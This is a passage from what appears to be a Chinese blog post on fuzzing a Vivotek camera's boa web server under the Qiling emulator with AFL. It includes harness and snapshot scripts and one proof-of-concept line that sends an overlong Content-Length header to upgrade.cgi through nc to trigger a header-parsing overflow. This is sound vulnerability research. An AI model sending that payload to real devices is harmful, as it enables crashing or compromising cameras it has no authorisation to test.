(expected 2)</strong></span></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">经调试原来在python中accept ipv6的连接后会返回一个长度为4的元组的address：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.3727144866385373" title="null" data-type="png" data-w="711" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=332ac5c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SGSaaJD7P47GnoicLJypeyLP8k3EeXibmDr4FKHtYIpe9ERzBjJDhxzRw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213134207632</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同样的问题还发生在ql_syscall_getsockname：<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">sockname = sock.getsockname()</code></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="font-style: italic;"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">TypeError: expected c_ubyte_Array_16 instance, got int</strong></span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">[x]     Syscall ERROR: ql_syscall_accept DEBUG: expected c_ubyte_Array_16 instance, got <span style="color: rgb(230, 192, 123);">int</span><br/>Traceback (most recent call last):<br/>  File <span style="color: rgb(152, 195, 121);">&#34;/home/iot/workspace/Emulator/qiling-dev-stb/qiling/os/posix/posix.py&#34;</span>, line <span style="color: rgb(209, 154, 102);">280</span>, <span style="color: rgb(198, 120, 221);">in</span> load_syscall<br/>    retval = syscall_hook(self.ql, *params)<br/>  File <span style="color: rgb(152, 195, 121);">&#34;/home/iot/workspace/Emulator/qiling-dev-stb/qiling/os/posix/syscall/socket.py&#34;</span>, line <span style="color: rgb(209, 154, 102);">674</span>, <span style="color: rgb(198, 120, 221);">in</span> ql_syscall_accept<br/>    obj.sin6_addr.s6_addr = inet6_aton(<span style="color: rgb(230, 192, 123);">str</span>(host))<br/>TypeError: expected c_ubyte_Array_16 instance, got <span style="color: rgb(230, 192, 123);">int</span></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">解决：bytes转cbyts类</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">obj.sin6_addr.s6_addr = (ctypes.c_ubyte * <span style="color: rgb(209, 154, 102);">16</span>).from_buffer_copy(inet6_aton(<span style="color: rgb(230, 192, 123);">str</span>(host)).to_bytes(<span style="color: rgb(209, 154, 102);">16</span>, <span style="color: rgb(152, 195, 121);">&#39;big&#39;</span>))</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要问题就这些(修了挺久的)，然后就可以对一些函数进行fuzz了</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">Fuzz Partial</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  确定Fuzz范围，这个范围主要是给到ql_afl_fuzz函数，这里是打算Fuzz read_header函数(sub_17F80)，那么从数据入口下手：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.1703056768558952" title="null" data-type="png" data-w="687" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=34ae77b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SiatgPDaCFchKejGrGZGDWCsWHXCgrPUUwf5Y0ia67gF9Bfqw2gY4MYAw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213135606979</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  读取POST或者GET方法的http包那么肯定要解析处理的，处理完成返回一个状态(源码中retval)来指示下一步处理，找到退出点：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.087248322147651" title="null" data-type="png" data-w="596" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=01b0c844&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SqeITlo4U486a2iaYD0OicUCK5icg7ujyffUxeKkuh2PKgS1dUnuNA2Pjg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213135843221</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  因此要从<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">0x180F8</code>附近开始Fuzz，然后<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">0x18398</code>表示函数正常退出将执行下一轮fuzz</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">脚本模板：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">import</span> os, sys<br/>sys.path.append(<span style="color: rgb(152, 195, 121);">&#39;/home/iot/workspace/Emulator/qiling-dev&#39;</span>)<br/><span style="color: rgb(198, 120, 221);">from</span> qiling.const <span style="color: rgb(198, 120, 221);">import</span> QL_INTERCEPT, QL_VERBOSE<br/><span style="color: rgb(198, 120, 221);">from</span> qiling <span style="color: rgb(198, 120, 221);">import</span> Qiling<br/><span style="color: rgb(198, 120, 221);">from</span> qiling.extensions.afl <span style="color: rgb(198, 120, 221);">import</span> ql_afl_fuzz<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">main</span>(input_file: <span style="color: rgb(230, 192, 123);">str</span>, trace: <span style="color: rgb(230, 192, 123);">bool</span> = <span style="color: rgb(86, 182, 194);">False</span>):<br/>    ql = Qiling([<span style="color: rgb(152, 195, 121);">&#39;./rootfs/usr/sbin/httpd&#39;</span>, <span style="color: rgb(152, 195, 121);">&#34;-c&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/etc/conf.d/boa&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;-d&#34;</span>], rootfs=<span style="color: rgb(152, 195, 121);">&#39;./rootfs&#39;</span>, profile=<span style="color: rgb(152, 195, 121);">&#39;./boa_arm.ql&#39;</span>, verbose=QL_VERBOSE.OFF, console = <span style="color: rgb(86, 182, 194);">True</span> <span style="color: rgb(198, 120, 221);">if</span> trace <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(86, 182, 194);">False</span>)<br/>    ql.restore(snapshot=<span style="color: rgb(152, 195, 121);">&#39;./context.bin&#39;</span>)<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">place_input_callback</span>(_ql: Qiling, <span style="color: rgb(230, 192, 123);">input</span>: <span style="color: rgb(230, 192, 123);">bytes</span>, _):<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># print(b&#34;**************** &#34; + input)</span><br/>        _ql.mem.write(target_addr, <span style="color: rgb(230, 192, 123);">input</span>)<br/>        <br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">start_afl</span>(_ql: Qiling):<br/>        <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>        Callback from inside<br/>        &#34;&#34;&#34;</span><br/>        ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[<span style="color: rgb(209, 154, 102);">0x018398</span>])<br/>    ql.hook_address(callback=start_afl, address=<span style="color: rgb(209, 154, 102);">0x180F8</span>)<br/>    <span style="color: rgb(198, 120, 221);">try</span>:<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># ql.debugger = True</span><br/>        ql.run(begin=<span style="color: rgb(209, 154, 102);">0x180F8</span>)<br/>        os._exit(<span style="color: rgb(209, 154, 102);">0</span>)<br/>    <span style="color: rgb(198, 120, 221);">except</span>:<br/>        <span style="color: rgb(198, 120, 221);">if</span> trace:<br/>            <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;\nFuzzer Went Shit&#34;</span>)<br/>        os._exit(<span style="color: rgb(209, 154, 102);">0</span>)  <br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#34;__main__&#34;</span>:<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">len</span>(sys.argv) == <span style="color: rgb(209, 154, 102);">1</span>:<br/>        <span style="color: rgb(198, 120, 221);">raise</span> ValueError(<span style="color: rgb(152, 195, 121);">&#34;No input file provided.&#34;</span>)<br/>    <br/>    os.chdir(<span style="color: rgb(152, 195, 121);">&#39;/home/iot/workspace/Emulator/qiling-dev/vivetok&#39;</span>)<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">len</span>(sys.argv) &gt; <span style="color: rgb(209, 154, 102);">2</span> <span style="color: rgb(198, 120, 221);">and</span> sys.argv[<span style="color: rgb(209, 154, 102);">1</span>] == <span style="color: rgb(152, 195, 121);">&#34;-t&#34;</span>:<br/>        main(sys.argv[<span style="color: rgb(209, 154, 102);">2</span>], trace=<span style="color: rgb(86, 182, 194);">True</span>)<br/>    <span style="color: rgb(198, 120, 221);">else</span>:<br/>        main(sys.argv[<span style="color: rgb(209, 154, 102);">1</span>])<br/></code></pre><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• ql.hook_address(callback=start_afl, address=0x180F8)：在执行到<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">0x180F8</code>这个位置时调用start_afl函数</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• ql.run(begin=0x180F8)：从<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">0x180F8</code>开始执行</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• ql_afl_fuzz：就是unicornafl提供的fuzz接口<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">uc_afl_fuzz_custom</code>的一个wrapper</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• place_input_callback：ql_afl_fuzz会调用的回调函数，负责写入fuzz数据</p></li></ul><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">Fuzz buf</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">根据网上的漏洞分析比对源码框架，利用:</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">cho -en <span style="color: rgb(152, 195, 121);">&#34;POST /cgi-bin/admin/upgrade.cgi HTTP/1.0nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXXnrnrn&#34;</span>  | nc -v ::1 9080</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以触发漏洞，具体位于框架中http头部解析函数：read_header，位于httpd中17F80位置</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  那么该如何fuzz呢，根据网上unicorn-afl官方用例和qiling官方用例：buf-fuzz，即定位代码中读取数据位置，然后读取完后劫持搜索特定字符串定位fuzz的buff_addr，当然需要状态保存(当然这个方法肯定不是很严谨，因此后面还会介绍劫持read函数方法)</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">快照</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">import</span> os, sys, struct<br/><span style="color: rgb(198, 120, 221);">from</span> socket <span style="color: rgb(198, 120, 221);">import</span> AF_INET<br/>sys.path.append(<span style="color: rgb(152, 195, 121);">&#39;/home/iot/workspace/Emulator/qiling-dev&#39;</span>)<br/><span style="color: rgb(198, 120, 221);">from</span> qiling <span style="color: rgb(198, 120, 221);">import</span> Qiling<br/><span style="color: rgb(198, 120, 221);">from</span> qiling.const <span style="color: rgb(198, 120, 221);">import</span> QL_INTERCEPT, QL_VERBOSE<br/><span style="color: rgb(198, 120, 221);">from</span> qiling.os.const <span style="color: rgb(198, 120, 221);">import</span> STRING<br/><span style="color: rgb(198, 120, 221);">from</span> unicorn.unicorn <span style="color: rgb(198, 120, 221);">import</span> UcError<br/><span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>struct hostent{<br/>    char *h_name;  //official name<br/>    char **h_aliases;  //alias list<br/>    int  h_addrtype;  //host address type<br/>    int  h_length;  //address lenght<br/>    char **h_addr_list;  //address list<br/>}<br/>&#34;&#34;&#34;</span><br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">hook_memSpace</span>(ql: Qiling):<br/>    ql.mem.<span style="color: rgb(230, 192, 123);">map</span>(<span style="color: rgb(209, 154, 102);">0x1000</span>, <span style="color: rgb(209, 154, 102);">0x1000</span>, info=<span style="color: rgb(152, 195, 121);">&#39;my_hook&#39;</span>)<br/>    data = struct.pack(<span style="color: rgb(152, 195, 121);">&#39;&lt;IIIII&#39;</span>, <span style="color: rgb(209, 154, 102);">0x1100</span>, <span style="color: rgb(209, 154, 102);">0x1100</span>, AF_INET, <span style="color: rgb(209, 154, 102);">4</span>, <span style="color: rgb(209, 154, 102);">0x1100</span>)<br/>    ql.mem.write(<span style="color: rgb(209, 154, 102);">0x1000</span>, data)<br/>    ql.mem.write(<span style="color: rgb(209, 154, 102);">0x1100</span>, <span style="color: rgb(152, 195, 121);">b&#39;qiling&#39;</span>)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">lib_gethostbyname</span>(ql: Qiling):<br/>    args = ql.os.resolve_fcall_params({<span style="color: rgb(152, 195, 121);">&#39;name&#39;</span>:STRING})<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#39;[gethostbyname]: &#39;</span> + args[<span style="color: rgb(152, 195, 121);">&#39;name&#39;</span>])<br/>    ql.arch.regs.write(<span style="color: rgb(152, 195, 121);">&#39;r0&#39;</span>, <span style="color: rgb(209, 154, 102);">0x1000</span>)<br/>    <br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">saver</span>(ql: Qiling):<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#39;[!] Hit Saver 0x%X&#39;</span>%(ql.arch.regs.arch_pc))<br/>    ql.save(cpu_context=<span style="color: rgb(86, 182, 194);">False</span>, snapshot=<span style="color: rgb(152, 195, 121);">&#39;./context.bin&#39;</span>)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(ql.mem.search(<span style="color: rgb(152, 195, 121);">b&#39;fuck&#39;</span>))<br/><span style="color: rgb(92, 99, 112);font-style: italic;">#[read(5,  0x4edca,  0x2000)] locate buf</span><br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">read_syscall</span>(ql: Qiling, fd: <span style="color: rgb(230, 192, 123);">int</span>, buf: <span style="color: rgb(230, 192, 123);">int</span>, size: <span style="color: rgb(230, 192, 123);">int</span>, *args) -&gt; <span style="color: rgb(86, 182, 194);">None</span>:<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">f&#39;[read(<span style="color: rgb(224, 108, 117);">{fd}</span>, <span style="color: rgb(224, 108, 117);">{buf: #x}</span>, <span style="color: rgb(224, 108, 117);">{size: #x}</span>)]&#39;</span>)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">boa_run</span>(path: <span style="color: rgb(230, 192, 123);">list</span>, rootfs: <span style="color: rgb(230, 192, 123);">str</span>, profile: <span style="color: rgb(230, 192, 123);">str</span> = <span style="color: rgb(152, 195, 121);">&#39;default&#39;</span>):<br/>    ql = Qiling(path, rootfs, profile=profile, verbose=QL_VERBOSE.OFF, multithread=<span style="color: rgb(86, 182, 194);">False</span>)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;setup files&#34;&#34;&#34;</span><br/>    ql.add_fs_mapper(<span style="color: rgb(152, 195, 121);">&#39;/dev/null&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;/dev/null&#39;</span>)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;set ram&#34;&#34;&#34;</span><br/>    hook_memSpace(ql)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;hooks&#34;&#34;&#34;</span><br/>    ql.os.set_api(<span style="color: rgb(152, 195, 121);">&#39;gethostbyname&#39;</span>, lib_gethostbyname, QL_INTERCEPT.CALL)<br/>    ql.os.set_syscall(<span style="color: rgb(152, 195, 121);">&#39;read&#39;</span>, read_syscall, QL_INTERCEPT.ENTER)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;setup saver&#34;&#34;&#34;</span><br/>    ql.hook_address(saver, <span style="color: rgb(209, 154, 102);">0x0180FC</span>)        <span style="color: rgb(92, 99, 112);font-style: italic;">#read finish</span><br/>    ql.run()<br/>    <br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#39;__main__&#39;</span>:<br/>    os.chdir(<span style="color: rgb(152, 195, 121);">&#39;/home/iot/workspace/Emulator/qiling-dev/vivetok&#39;</span>)<br/>    path = [<span style="color: rgb(152, 195, 121);">&#39;./rootfs/usr/sbin/httpd&#39;</span>, <span style="color: rgb(152, 195, 121);">&#34;-c&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/etc/conf.d/boa&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;-d&#34;</span>]<br/>    rootfs = <span style="color: rgb(152, 195, 121);">&#39;./rootfs&#39;</span><br/>    profile = <span style="color: rgb(152, 195, 121);">&#39;./boa_arm.ql&#39;</span><br/>    boa_run(path=path, rootfs=rootfs, profile=profile)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后使用poc触发就行</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">fuzz</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">import</span> os, sys, struct<br/><span style="color: rgb(198, 120, 221);">import</span> capstone <span style="color: rgb(198, 120, 221);">as</span> Cs<br/>sys.path.append(<span style="color: rgb(152, 195, 121);">&#39;/home/iot/workspace/Emulator/qiling-dev&#39;</span>)<br/><span style="color: rgb(198, 120, 221);">from</span> qiling.const <span style="color: rgb(198, 120, 221);">import</span> QL_INTERCEPT, QL_VERBOSE<br/><span style="color: rgb(198, 120, 221);">from</span> qiling <span style="color: rgb(198, 120, 221);">import</span> Qiling<br/><span style="color: rgb(198, 120, 221);">from</span> qiling.extensions.afl <span style="color: rgb(198, 120, 221);">import</span> 